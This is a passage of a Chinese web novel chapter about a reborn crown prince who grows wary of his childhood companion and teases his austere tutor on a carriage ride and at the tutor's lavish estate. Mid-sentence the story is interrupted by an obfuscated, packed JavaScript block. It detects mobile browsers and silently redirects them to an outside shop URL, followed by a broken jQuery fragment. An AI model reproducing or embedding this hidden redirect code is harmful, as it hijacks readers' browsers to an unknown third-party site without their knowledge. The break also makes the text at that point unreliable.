傅临川在这时候动了,走近一步,道:“殿下,夜深了,您不妨早日回宫。”
楚砚绯不想回去。
他转了转眼珠,大笑着说:“太傅,孤今晚要宿在你的府上!”
这是一个错误的决定。
重新坐回马车上,楚砚绯无趣地想,他实在不该在这种时候展露对傅临川的“恩宠”,明日世家间不知道要传出什么风言风语。
“太子殿下!”
秦钺跨上马车,一手撩开帘子,兴奋地叫道:“臣护送您回宫!”
目光触及坐在一旁的傅临川,秦钺唇角的笑多了分嫌弃,他扭过头,用明亮热忱的视线细细抚过楚砚绯的脸。
“太子殿下,”秦钺笑着去勾他的手指:“您今日都没同臣说说话,待您日后荣登大宝,臣更没机会与您亲近了。”
楚砚绯将手缩进了袖中,让秦钺摸了个空。
他骤然没了表情,第一时间去看楚砚绯的脸色,太子平静的靠着软垫,目光无喜无悲。
他只是在看他。
看这个儿时玩伴,看这个少年伴读,看这个一腔热血的叛徒。
“孤乏了。”楚砚绯闭上眼:“太傅送孤回去。”
耳边似有雷声滚滚,秦钺干咽了口唾液,指尖一松,帘子倏然垂落。
直到二人彻底被锦布隔开,太子都不曾睁眼看他。
为何?
马车不知离开了多久,秦钺仍站在原地,近几日发生的一幕幕在脑海中回放,反复放大,放慢,寻找自己的错处。
明明楚砚绯从未怪罪他什么,可仅仅是冷淡的态度就让秦钺无法忍受。
是哪一句话触怒了太子,是他的粗心大意,是他的放肆无礼,一定是他平日里太轻佻!
秦钺反省着自己的一言一行,从鸡蛋里挑了一碗骨头出来,可他最想要的那根狗骨头,太子却收回去了。
最终,他慌张地发现,他根本找不到合适的理由解释太子的忽视。
仿佛自欺欺人般,秦钺叫来了侍从,询问太子与二皇子说了什么。
“太子不曾提到我吗?”秦钺不信,剑锋一横:“一句也没有?”
侍从吓得软了腿,忙说:“回二公子,许是问了的,是奴耳拙,二公子赎罪。”
“你何必为难他?”
楚怀青脸色青白,裹紧厚被,怀里抱了两个热腾腾的炉子,将侍从遣出去,这才说:“我来告诉你,楚砚绯不止没提过你,他其实根本不在乎你,满意了吗?”
秦钺斜了他一眼:“少在这里挑拨离间。”
楚怀青冷笑:“贱的另有其人。”
两个人对坐无言。
半晌,秦钺问:“太子手上的伤是傅临川干的吗?”
“不然还能是我吗?”
秦钺再次拿起剑,咬牙切齿:“我就知道这老东西不安好心!”
楚怀青没搭腔。
气氛一时有些尴尬,秦钺没等来人拦,双腿一岔坐在椅子扶手上:“我不舒服。”
楚怀青“呵”了声,指指自己湿漉的头发:“我也不舒服。”
秦钺拧眉,在房间里踱了几步,突然转身拉开门,门外空无一人,连片叶子都找不到。
他的脑袋转得比陀螺还快,上下左右扫视了一圈,“啪”合上门,压低了嗓音问:“殿下是不是发现什么了?”
楚怀青又拿了个手炉,嘲讽道:“你是他的伴读,他的心腹,他的挚友,你不知道他有没有发现?”
秦钺得意一笑:“不仅如此,我还是殿下第一个同床共枕之人,第一次同桌饮酒之人,第一回帮他抄书之人!”
跟蠢人说话会跟着变蠢。
“那你说,他发现了吗?”
秦钺摇摇头:“要是太子发现了,他会先质问我原因,我倒觉得是傅临川说了什么,老东西心思坏得很。”
莫不是傅临川为了获取新帝信任,透露了什么,拿他们秦家当筏子。
秦钺冷哼,“不过他说再多也没用,太子与我的情谊,他是不会懂的。”
楚怀青受不了他,冷冷嘲道:“那他今晚怎么不去秦府?”
秦钺嚣张的气焰不甘地被压成饼,“嘁”了声说:“殿下平日里去秦府的次数多了,今夜只是一时好奇,毕竟吃过山珍海味,也要尝尝清粥小菜,人之常情。”
楚怀青讶异:“你居然会用成语。”
眼看秦钺就要发作,楚怀青淡淡转移了话题:“不过,还请二公子为本王解惑,为何你觉得秦府是山珍海味?据本王所知,傅家世代积累,家财万贯,随便一件藏品都能和贡品媲美。”
“你凭什么觉得,山珍海味不是傅府?”
因为傅临川是个装货。
楚砚绯在一周目时过度信任傅临川,逢年过节赏赐如流水一般送进傅府,却一样不少的在第二日被退了回来。
读尽天下圣贤书,金银财宝身外物。
傅临川曾与楚砚绯说,他此生只想寻一位中正明君,鞠躬尽瘁,为君分忧,成就贤君能臣的美名。
可一臣不事二主,若真图贤名,二周目中楚砚绯被丞相和二皇子联手毒杀之时,他就不该再入仕。
“太傅。”
楚砚绯坐在马车上,懒洋洋地问:“太傅怕死吗?”
“只求死得其所。”
“如果是枉死呢?”
比如被皇帝吊死之类的。
傅临川静了一会儿,说:“生死有命,臣只求死得痛快些。”
楚砚绯侧过身,腰一歪躺在他的大腿上,傅临川伸手抵住他的肩,免得马车颠簸,害太子摔下去。
“太傅既然这般豁达,为何不愿死在孤的手里?”
他笑着伸出手,在空气中比划了两下,眸色淡淡:“孤好难过啊,太傅。”
“您不难过。”
傅临川看着他,手心按住太子的双眸,“您只是想找个理由拿臣取乐罢了。”
楚砚绯闷笑了两声:“太傅怎得不解风情?”
“臣年迈。”
傅临川将他从膝上扶了起来,拢好太子的衣领说:“太子倘若好男风,不妨去寻年轻貌美之人,莫要作弄臣了。”
嗯?
嗯???
谁好男风,孤吗?
楚砚绯眼珠一转知道他误会了,将错就错弯起唇,将脸侧的发丝拨到耳后,一只手按住了太傅的肩。
“可孤就喜欢年纪大的,太傅当如何?”
傅临川皱起眉,似乎没想到太子的癖好如此特别。
扫了眼肩上的手,傅临川突然觉得喉咙疼,上次太子离他这么近的时候,差点要了他的命。
这事不能细想。
如果太子真的有龙阳之好,还偏爱年长之人——傅临川的头也开始疼了。
论年岁,丞相虚长太子八岁,难道太
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17968596|214606||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
子之前的所作所为不是单纯为了拉拢丞相,而是另有心思吗?
这么说来,秦二公子今日不受殿下待见,是因为他们二人同岁?
傅临川越想越远,连楚砚绯越靠越近都没发现。
他坏心眼地问:“太傅怕孤?”
傅临川僵硬着摇摇头:“此事,臣无权置喙。”
太子喜欢男人女人非人还是死人都不归他管,可太子暧昧的态度确实让傅临川心中沉甸甸的压着。
他知道自己不讨喜,严肃古板,少言少语,太子身边不缺俊美男子,不可能对他有什么心思。
但是,太子今日——傅临川说不清自己是什么心情。
太子的变化太大了,一夜之间仿佛变了个人,他不再依赖他,不再满口“都听太傅的”、“太傅拿主意便好”。
他好像,在疏远他。
不,不是疏远,是防备,太子怀疑他,防备他,甚至有心杀了他以绝后患。
傅临川不确定究竟发生了什么让太子转变如此之大,但他知道,现在要重获太子的信任。
这很容易。
太子是他亲手教出来的学生,他知道该怎么做。
“啊,到了。”
楚砚绯转身撩开车帘跳了下去,笑眯眯喊道:“太傅,快些下来!”
傅临川捂住喉咙,重重地吐出了一口气。
太子年岁尚轻,有些特殊爱好是正常的,日后慢慢教导便是。
傅府在外看来没什么出彩之处,里面倒是别有洞天。
楚砚绯扫过雅致素净的庭院,牌匾上“清心堂”三个字擦得锃亮,落款竟是十五年前已逝的书法大家,一字万金绝非虚言。
再看站不下三五人的红木小桥,跨在一条连溪流都算不上的细细水道之上,这水里铺的不是石头,是砚台,流得不是河水,是墨水。
寻常百姓连读书都难,买不起笔墨纸砚,用树枝在沙地里写字,傅临川却用这些突显意趣。
屋内陈设看似平平无奇,仔细一看,到处都能做文章。
素得刻意,素得绞尽脑汁,为了打造一间陋室,花费了数以万计的银两。
旁人堆金砌玉,掏空心思雕琢出来的华丽宫阙不及这里几株花来得昂贵。
好一个不慕名利的清高人。
单这一个院子,抵得上半个东宫。
“寒舍鄙陋,委屈殿下了。”
楚砚绯点点头:“确实鄙陋,太傅日后为天子师,怎么能住在这种地方,明日孤便派人将这里拆了重建!”
傅临川微愣:“殿下,此举不妥。”
“有何不妥?”
楚砚绯抱住他的腰:“孤舍不得太傅吃苦,重新修葺的这段时间,太傅先住在东宫吧。”
“臣受之有愧。”
傅临川习惯了他的亲密之举,按住太子的手说:“此处虽不奢华,却另有妙趣,请太子收回成命。”
“不允。”
仍是不允。
傅临川低着的眼一动不动,良久,“诺。”
他从不与太子过多争辩,既然一次不允,那么二次三次也是一样的结果。
楚砚绯放开他,笑着背手而立:“既然如此,孤先回东宫了。”
傅临川皱眉:“殿下不是要留宿?”
“突然没兴致了。”
他看看傅临川的脸,又看看雅致庭院,轻声说:“倒胃口。”